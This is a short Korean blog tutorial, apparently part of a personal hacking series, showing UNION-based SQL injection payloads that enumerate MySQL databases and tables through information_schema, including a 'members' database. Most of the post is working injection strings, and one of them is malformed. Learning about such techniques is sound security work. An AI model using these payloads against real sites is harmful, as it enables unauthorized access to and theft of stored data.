본문 바로가기
Hacking/SQL Injection

8.SQL Injection>사용하는 DB이름,테이블 2

by 혁이 2017. 5. 3.
반응형

안녕하세요 


베비온입니다.





저번에 했던거를 조금 짧게 나타내보겠습니다.


저번엔 테이블명도 많고 많아서 뭘 봐야할지 모르겠었지만 이번엔 다르게 접근해보겠습니다.


DB 알아내기


select '1','2','3','4','5',schema_name,'7','8','9','10','11' from information_schema.schemata --


결과화면입니다.

보통은 php안에서 sql을 사용하기위해 미리 db를 지정합니다.


테이블과 컬럼을 가져오기위해 사용해봤습니다. ㅎ;;


이 db를 가지고 table명을 알아볼까요




테이블명 알아내기


a' union select '1','2','3',table_schema,'5',table_name,'7','8','9','10','11' from information_schema.tables --



이 결과가 이전에 했던 select table_name from information_schema.tables가 됩니다.


어떤 db안에 어떤 테이블이 있는지 확인을 해보겠습니다.




위에있는 db목록들중에서 test라는 db를 먼저 살펴볼까요?

a' union select '1','2','3',table_schema,'5',table_name,'7','8','9','10',11' from information_schema.tables from table_schema='test' -- 



test라는 db(writer쪽)안에 test1과 test2라는 테이블명이 있습니다(title)


이번엔 members라는 db의 테이블을 볼까요?



a' union select '1','2','3',table_schema,'5',table_name,'7','8','9','10','11' from information_schema.tables where table_schema='members' --



같은 방법으로 컬럼을 가져올 수 있습니다.여기부턴 저번이랑 같네요 ㅎㅎ


※information_schema 는 mysql 5.0이상부터 사용가능합니다.


information_schema를 쿼리하는것은 전체 데이터구조를 열거하는 것을 허용합니다.


반응형